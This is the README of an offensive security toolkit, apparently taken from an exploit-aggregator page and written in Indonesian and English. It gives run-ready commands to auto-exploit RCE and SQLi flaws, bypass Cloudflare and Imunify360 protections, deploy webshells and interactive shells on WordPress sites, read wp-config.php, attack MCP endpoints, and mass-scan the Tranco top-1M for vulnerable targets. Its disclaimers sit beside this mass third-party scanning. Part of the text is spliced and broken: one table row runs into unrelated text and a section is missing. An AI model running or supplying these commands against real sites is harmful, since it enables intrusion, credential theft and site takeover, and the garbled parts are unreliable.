## https://sploitus.com/exploit?id=721DB469-CEE4-5886-B0CA-2DDC1708D16F
# 🛡️ Guard Toolkit — Full Tutorial
Security toolkit: **Secret Scanner** + **Web Vulnerability Scanner** + **Auto-Exploit** + **Mass Dorking Scanner**.
> ⚠️ **EDUCATIONAL ONLY** — Pakai hanya di target yang kamu punya izin. Tools ini untuk security awareness & testing. Setiap celah yang terdeteksi adalah kesempatan belajar, bukan senjata.
---
## 📦 Isi Zip & Struktur File
```
guard/
├── requirements.txt # Dependency (pip install -r)
├── README.md # Tutorial ini
│
├── 🛡️ VULN SCANNER
├── guardv2.py # CLI entry point (secret scan + vuln scan)
├── guardvuln.py # Vulnerability detection engine (29+ checks)
├── guardtemplate.py # Nuclei-style YAML template engine
├── guarddiscover.py # Subdomain discovery
│
├── 💥 EXPLOIT ENGINE
├── guardx.py # Auto-exploit (29 exploits, WAF-solving built-in)
├── guardwaf.py # WAF recon & bypass toolkit
├── guardchallenger.py # CF/WAF challenge solver (cloudscraper)
├── guardmcp.py # MCP endpoint exploiter
├── exploit_mcp.py # MCP exploit helper
├── guardmitre.py # MITRE ATT&CK TTP mapper
├── guard-testlab.py # Local vuln lab (LFI/CMD/SSTI/XXE)
│
├── 🔍 MASS DORKING SCANNER (Tranco)
├── wp-dork.py # Thread-pool dorking (homepage → WP version)
├── wp-async-scan.py # Async scanner (aiohttp, 15x lebih cepat)
├── wp-verify.py # Batch verifier (wp2shell check per candidate)
├── wp-helix3-scan.py # CVE-2026-49049 Helix3 Joomla scanner
│
├── templates/ # YAML template (guardtemplate.py)
│ ├── backup-files.yaml
│ ├── cloud-meta.yaml
│ ├── cors-wildcard.yaml
│ ├── env-exposure.yaml
│ ├── git-exposure.yaml
│ ├── phpinfo.yaml
│ ├── sqli-error.yaml
│ └── ssti-jinja2.yaml
│
└── third_party/
├── wp2shell/ # Icex0 WP SQLi PoC (CVE-2026-63030, CVE-2026-60137)
│ ├── __main__.py # CLI: python -m wp2shell
│ ├── cli.py # Argument parser
│ ├── client.py # HTTP client (WAF cookie handoff support)
│ ├── sqli.py # SQLi engine
│ ├── exploit.py # Exploit logic
│ ├── shell.py # Interactive shell
│ └── version.py # Affected version ranges
└── cve-2026-49049/ # Helix3 Joomla PoC scanner (shinthink)
├── cve_2026_49049.py # Read-only scanner
└── README.md
```
---
## 🚀 Instalasi
```bash
# 1. Install Python 3.8+ (dianjurkan 3.10+)
# 2. Install dependencies
pip install -r requirements.txt
# 3. Test
python3 guardv2.py --help
python3 guardx.py --list
```
**Dependency per modul:**
| Modul | Perlu |
|-------|-------|
| guardv2 / guardvuln / guardx | requests, cloudscraper |
| wp-async-scan / wp-helix3-scan | aiohttp, aiodns |
| guardtemplate | PyYAML |
---
## 🔍 1. Vulnerability Scan
```bash
# Basic scan (read-only HTTP requests, aman)
python3 guardv2.py target.com --scan-cve
# Paksa https://
python3 guardv2.py https://target.com --scan-cve
# Output JSON (buat parsing/automation)
python3 guardv2.py target.com --scan-cve --json > report.json
# Subdomain discovery dulu
python3 guarddiscover.py target.com
```
**Yang di-detect (29+ checks):**
| Severity | Vuln | Detil |
|----------|------|-------|
| 🔴 Critical | PHPInfo | `phpinfo()`, `info.php`, `test.php` |
| 🔴 Critical | Django DEBUG | `DEBUG=True` + traceback exposure |
| 🔴 Critical | Spring Actuator | `/actuator`, `/actuator/health`, `/actuator/env` |
| 🔴 Critical | Spring Heapdump | `/actuator/heapdump` — memory dump |
| 🔴 Critical | Git Exposure | `.git/config`, `.git/HEAD` — repo leak |
| 🔴 Critical | Environment Files | `.env`, `.env.local` — secrets leak |
| 🔴 Critical | WordPress Config Backup | `wp-config.php~`, `.bak`, `.old` |
| 🔴 Critical | WordPress Installer | `/wp-admin/install.php` |
| 🔴 Critical | WordPress Debug Log | `/wp-content/debug.log` |
| 🔴 Critical | Joomla Config Backup | `configuration.php~` / `.bak` |
| 🔴 Critical | SQLi | Error-based SQL Injection |
| 🔴 Critical | Reflected XSS | `` injection via params |
| 🔴 Critical | PHPUnit RCE (CVE-2017-9841) | `eval-stdin.php` — RCE |
| 🔴 Critical | Langflow RCE (CVE-2025-3248) | Unauth RCE via `exec()` — CVSS 9.3 |
| 🔴 Critical | Wazuh API RCE (CVE-2025-24016) | Path traversal + deserialization — CVSS 9.0 |
| 🔴 Critical | Ivanti Connect Secure (CVE-2025-22457) | Stack buffer overflow RCE — CISA KEV |
| 🔴 Critical | Database Admin | phpMyAdmin / Adminer exposed |
| 🔴 Critical | Database Dump | SQL dump file exposed |
| 🔴 Critical | WP SQLi (CVE-2026-63030) | REST batch route confusion → SQLi to RCE — Clone shallow (`--depth 1`) kecuali `--include-history`. Rate limit GitHub API: 60 req/jam tanpa token.
---
## 💥 3. Auto-Exploit (guardx.py)
```bash
# Exploit semua vuln terdeteksi (auto)
python3 guardx.py target.com
# Exploit spesifik
python3 guardx.py target.com --vuln langflow # CVE-2025-3248
python3 guardx.py target.com --vuln phpunit # CVE-2017-9841
python3 guardx.py target.com --vuln git # .git download
python3 guardx.py target.com --vuln env # .env download
python3 guardx.py target.com --vuln actuator # Spring heapdump
python3 guardx.py target.com --vuln cors # CORS PoC
python3 guardx.py target.com --vuln wazuh # CVE-2025-24016
python3 guardx.py target.com --vuln ivanti # CVE-2025-22457
python3 guardx.py target.com --vuln nextjs # CVE-2025-29927
# WordPress SQLi (wp2shell)
python3 guardx.py target.com --vuln wp2shell # check (read-only)
python3 guardx.py target.com --vuln wp2shell --cmd id # + deploy webshell & run cmd
python3 guardx.py target.com --vuln wp2shell --interactive # interactive shell
# Custom command untuk RCE
python3 guardx.py target.com --vuln langflow --cmd "whoami"
# List semua exploits
python3 guardx.py --list
```
### 🛡️ WAF-solving built-in
Semua exploit di `guardx.py` otomatis:
1. Pakai **cloudscraper** → tembus Cloudflare challenge ("One moment, please...")
2. Deteksi **Imunify360** block ("Access denied by Imunify360 bot-protection")
3. **Cookie handoff** ke wp2shell → warm-up via cloudscraper, inject cookie via env `WAF_COOKIE_JSON` + `WAF_UA` → check/read/shell nggak kena challenge
---
## 🔬 4. WordPress wp2shell (CVE-2026-63030 + CVE-2026-60137)
### Check (non-destructive)
```bash
cd third_party/wp2shell
python3 -m wp2shell check https://target.com
```
Output:
```
[+] WordPress detected: 7.0.1
[+] Batch probe -> HTTP 207
[!] markers matched: rest_batch_not_allowed
[+] Verdict: patched (nested batch rejected)
```
**Signature penting:**
| Marker | Arti |
|--------|------|
| `parse_path_failed` | ⚠️ VULNERABLE — route confusion berhasil |
| `block_cannot_read` | ⚠️ VULNERABLE — bisa baca file |
| `rest_batch_not_allowed` | ✅ PATCHED — nested batch ditolak |
### Confirm SQLi
```bash
python3 -m wp2shell check https://target.com --confirm-sqli
# Timing delta 1.95s → kemungkinan vulnerable (UNION injection)
```
### Read file
```bash
python3 -m wp2shell read https://target.com --preset fingerprint
python3 -m wp2shell read https://target.com --file wp-config.php
```
### Shell (hanya jika kamu punya izin!)
```bash
python3 -m wp2shell shell https://target.com --cmd id
python3 -m wp2shell shell https://target.com --interactive
```
**Affected versions:** WP 6.9.0–6.9.4, 7.0.0–7.0.1. Patched: ≤6.8.5, ≥7.0.2.
---
## 🌐 5. CVE-2026-49049 — Helix3 Joomla Scanner
Helix3 template framework (JoomShaper) — unauth AJAX handler via `com_ajax`:
**save** (write JSON + path traversal), **remove** (delete arbitrary files), **import** (overwrite template params). Affected: 1.0–3.1.0 (3.1.1+ patched). CVSS 7.5.
### Scan satu target
```bash
cd third_party/cve-2026-49049
python3 cve_2026_49049.py -t target.com
python3 cve_2026_49049.py -t target.com -v # verbose
```
### Mass scan
```bash
python3 cve_2026_49049.py -f targets.txt -o results.txt
python3 cve_2026_49049.py -f targets.txt --json report.json -v
```
### Scan Tranco otomatis (wp-helix3-scan.py)
```bash
#
python3 wp-helix3-scan.py 100000 0 ./helix3_result.csv 500
```
Output CSV: `domain,helix3_version,affected,ajax_status,flag`
> 💡 **Tips:** Helix3 sangat jarang di Tranco (2/900k). Lebih efisien pakai Zoomeye dork `app="Joomla" && "shaper_helix3"` lalu feed hasilnya ke `cve_2026_49049.py -f targets.txt`.
---
## 📡 6. Mass Dorking Scanner (Tranco top-1M)
Pipeline: **download Tranco → scan → filter affected → verifikasi → confirm-sqli**
### Step 1: Download Tranco list
```bash
mkdir -p tranco && cd tranco
wget https://tranco-list.eu/top-1m.csv.zip
unzip top-1m.csv.zip
# Format: rank,domain
```
### Step 2: Scan cepat (thread-pool, 40-120 threads)
```bash
#
python3 wp-dork.py 20000 ./dork_result.csv 120
```
### Step 3: Scan super cepat (async, 15x lebih cepat)
```bash
#
python3 wp-async-scan.py 100000 0 ./async_result.csv 500
# ~5000 domain / 20 detik
```
### Step 4: Verifikasi kandidat affected
```bash
# Baca CSV → jalankan wp2shell check per domain
python3 wp-verify.py ./affected.csv
```
> 💡 **Pelajaran dari lapangan:**
> - Version meta (`content="WordPress X.Y.Z"`) **tidak sinkron** dengan patch → banyak false positive
> - Signature `rest_batch_not_allowed` = patched; `parse_path_failed`/`block_cannot_read` = vulnerable
> - CVE umur 2 minggu biasanya sudah ditutup luas (WP auto-update jalan)
> - Search engine dorking (Google/DDG/Bing) sering kena block dari server → Tranco scan lebih reliable
---
## 🧪 7. Local Test Lab (guard-testlab.py)
```bash
python3 guard-testlab.py
# Local vuln lab: LFI / CMD / SSTI / XXE — buat belajar & test exploit aman
```
---
## 🧠 Options Lengkap (guardv2.py)
```
positional arguments:
target Local path, GitHub repo URL, GitHub username URL, atau website
options:
-h, --help Show help
--json Emit JSON output
--include-git Run git-aware secret checks
--include-history Scan commit history too
--exclude EXCLUDE Extra folder names to exclude
--max-repos MAX_REPOS Max public repos in username mode (default: 20)
--scan-cve Run vulnerability scan mode
```
---
## ⚠️ Ethical Notes
- **--scan-cve** hanya ngirim HTTP request — aman, read-only
- **guardx.py** bisa nge-eksekusi payload — **pakai hanya di target yang kamu punya izin**
- **wp2shell shell/read** = destructive — jangan di target pihak ketiga tanpa otorisasi tertulis
- Tools ini untuk **security awareness & testing**. Jangan dipakai untuk hacking tanpa izin.